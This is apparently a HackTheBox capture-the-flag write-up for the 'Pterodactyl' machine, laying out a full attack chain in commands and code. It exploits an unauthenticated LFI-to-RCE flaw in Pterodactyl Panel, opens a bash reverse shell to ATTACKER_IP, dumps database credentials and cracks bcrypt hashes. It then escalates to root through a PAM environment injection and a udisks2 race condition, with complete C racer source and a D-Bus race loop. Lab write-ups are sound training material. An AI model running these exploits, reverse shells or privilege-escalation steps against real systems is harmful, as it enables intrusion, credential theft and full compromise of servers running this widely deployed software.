HackTheBox — Pterodactyl Writeup

Difficulty: Medium | OS: Linux (openSUSE Leap 15.6) | Season: 10

Summary

Pterodactyl is a medium-difficulty Linux machine running the Pterodactyl game server panel. The attack chain involves an unauthenticated LFI-to-RCE vulnerability in the panel, credential extraction via MySQL, bcrypt hash cracking for SSH access, and a two-CVE privilege escalation chain abusing PAM session injection and a udisks2 XFS resize race condition.

Flags:

User: ************************
Root: (obtained via CVE-2025-6019)

Reconnaissance

Nmap

nmap -sSCV -A --min-rate 4000 10.129.44.184

Open Ports:

Port	Service	Version
22	SSH	OpenSSH 9.6p1
80	HTTP	nginx/1.21.5 → pterodactyl.htb

/etc/hosts

echo "10.129.44.184 pterodactyl.htb panel.pterodactyl.htb play.pterodactyl.htb" | sudo tee -a /etc/hosts

Web Enumeration

dirsearch -u http://pterodactyl.htb/ -t 40
curl -s http://pterodactyl.htb/changelog.txt

Key findings from changelog:

Site: MonitorLand
Panel version: Pterodactyl Panel v1.11.10 (vulnerable)
PHP-PEAR enabled
Subdomain: panel.pterodactyl.htb

phpinfo.php Analysis

curl -s "http://pterodactyl.htb/phpinfo.php" | grep -E "register_argc|include_path|open_basedir|upload_tmp_dir"

Setting

Initial Access — CVE-2025-49132

CVE-2025-49132 affects Pterodactyl Panel ≤ v1.11.10. The /locales/locale.json endpoint passes locale and namespace parameters directly to PHP's include() without sanitization or authentication, enabling directory traversal and pearcmd-based RCE.

Exploit

git clone https://github.com/YoyoChaud/CVE-2025-49132
cd CVE-2025-49132

# Dump config (DB creds + APP_KEY)
python3 exploit.py http://panel.pterodactyl.htb

# Test RCE
python3 exploit.py http://panel.pterodactyl.htb \
  --rce-cmd "id" \
  --pear-dir /usr/share/php/PEAR

Output: uid=474(wwwrun) gid=477(www) groups=477(www)

Credentials Extracted

Service	Username	Password
MySQL	`pterodactyl`	`PteraPanel`
Laravel	APP_KEY	`base64:UaThTPQnUjrrK61o+...`

Reverse Shell

# Listener
nc -lnvp 4444

# Exploit
python3 exploit.py http://panel.pterodactyl.htb \
  --rce-cmd "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'" \
  --pear-dir /usr/share/php/PEAR

Lateral Movement

MySQL Credential Dump

mysql -u pterodactyl -pPteraPanel -h 127.0.0.1 \
  -e "USE panel; SELECT username,email,password FROM users;"

Username	Hash
`headmonitor`	`$2y$10$3WJht3/5GOQmOXdljPbAJet...`
`phileasfogg3`	`$2y$10$PwO0TBZA8hLB6nuSsxRqoO...`

User Flag

cat /home/phileasfogg3/user.txt

Hash Cracking

hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt -w 3

Result: phileasfogg3 : !QAZ2wsx

SSH Access

ssh [email protected]
# password: !QAZ2wsx

Privilege Escalation

Sudo Analysis

sudo -l

(ALL) ALL is configured but the targetpw Defaults option requires root's password — blocking standard sudo abuse.

Step 1 — CVE-2025-6018: PAM Session Bypass

CVE-2025-6018 abuses pam_env.so on openSUSE to inject environment variables at login time. By placing XDG_SEAT=seat0 and XDG_VTNR=1 in ~/.pam_environment, a remote SSH user can trick Polkit into treating their session as an active local console session (allow_active), unlocking hardware management D-Bus actions.

echo -e "XDG_SEAT=seat0\nXDG_VTNR=1" > ~/.pam_environment

# Exit and SSH back in (PAM re-reads on fresh login)
exit
ssh [email protected]

# Verify
echo $XDG_SEAT   # seat0
echo $XDG_VTNR   # 1

Step 2 — CVE-2025-6019: udisks2 XFS Resize Race Condition → Root

CVE-2025-6019 exploits a missing nosuid flag in libblockdev when udisks2 temporarily mounts an XFS image during a Filesystem.Resize D-Bus call. By racing to execute a SUID binary inside the image during this window, an unprivileged user with allow_active Polkit rights can obtain a root shell.

Build XFS Image (on attacker machine)

# Create XFS image using target's mkfs.xfs for compatibility
scp phileasfogg3@TARGET:/sbin/mkfs.xfs /tmp/target_mkfs_xfs

# Build on target directly instead
ssh phileasfogg3@TARGET
dd if=/dev/zero of=/tmp/xfs_new.img bs=1M count=300
/sbin/mkfs.xfs -f /tmp/xfs_new.img

Transfer to attacker, inject SUID binary, transfer back:

# On attacker (as root)
scp phileasfogg3@TARGET:/tmp/xfs_new.img /tmp/xfs_new.img
mount -o loop,suid /tmp/xfs_new.img /tmp/mnt
cp rootbash /tmp/mnt/xpl
chmod 4755 /tmp/mnt/xpl      # Must show -rwsr-xr-x
umount /tmp/mnt
gzip -c /tmp/xfs_new.img > xfs_new.img.gz

Compile Fast C Racer

// racer.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dirent.h>
#include <unistd.h>
#include <sys/stat.h>

int main() {
    char path[512], cmd[512];
    struct stat st;
    while(1) {
        DIR *d = opendir("/tmp");
        struct dirent *e;
        while((e = readdir(d))) {
            if(strncmp(e->d_name, "blockdev.", 9) == 0) {
                snprintf(path, sizeof(path), "/tmp/%s/xpl", e->d_name);
                if(stat(path, &st) == 0 && (st.st_mode & S_ISUID)) {
                    closedir(d);
                    snprintf(cmd, sizeof(cmd),
                        "%s -p -c 'cp /bin/bash /tmp/b; chmod 4755 /tmp/b'", path);
                    system(cmd);
                    return 0;
                }
            }
        }
        closedir(d);
    }
}

gcc -O2 -o racer racer.c

Execute Race

# On target
wget http://ATTACKER_IP/xfs_new.img.gz && gunzip xfs_new.img.gz
wget http://ATTACKER_IP/racer && chmod +x racer

udisksctl loop-setup -f /tmp/xfs_new.img --no-user-interaction
# Note loop device number (e.g. loop7)

rm -rf /tmp/blockdev.* 2>/dev/null
/tmp/racer &

for i in $(seq 1 300); do
  gdbus call --system \
    --dest org.freedesktop.UDisks2 \
    --object-path /org/freedesktop/UDisks2/block_devices/loop7 \
    --method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}' 2>/dev/null &
done
wait

Result: Root shell obtained.

id
# uid=0(root)

cat /root/root.txt

Attack Chain

[Nmap] Ports 22, 80
    ↓
[Web Enum] changelog.txt → Pterodactyl Panel v1.11.10
    ↓
[phpinfo.php] register_argc_argv=On, PEAR in include_path
    ↓
[CVE-2025-49132] Unauth LFI → pearcmd RCE → wwwrun shell
    ↓
[MySQL] pterodactyl:PteraPanel → bcrypt hashes
    ↓
[Hashcat] phileasfogg3:!QAZ2wsx
    ↓
[SSH] phileasfogg3
    ↓
[CVE-2025-6018] ~/.pam_environment → allow_active bypass
    ↓
[CVE-2025-6019] udisks2 XFS resize race → SUID exec → ROOT

Credentials

Service	Username	Password
MySQL	`pterodactyl`	`PteraPanel`
SSH / Panel	`phileasfogg3`	`!QAZ2wsx`

Tools Used

References

Writeup by [kareem elsheikh] | HackTheBox Season 10

`register_argc_argv`	On	Enables pearcmd CLI exploitation
`include_path`	`.:/usr/share/php8:/usr/share/php/PEAR`	pearcmd.php reachable
`open_basedir`	(no value)	Unrestricted filesystem access

nmap	Port scanning
dirsearch	Web directory brute force
CVE-2025-49132 exploit	Unauth LFI + pearcmd RCE
hashcat (-m 3200)	Bcrypt cracking
CVE-2025-6018-6019 PoC	PAM bypass + udisks2 race
Custom C racer	Win the nosuid race condition

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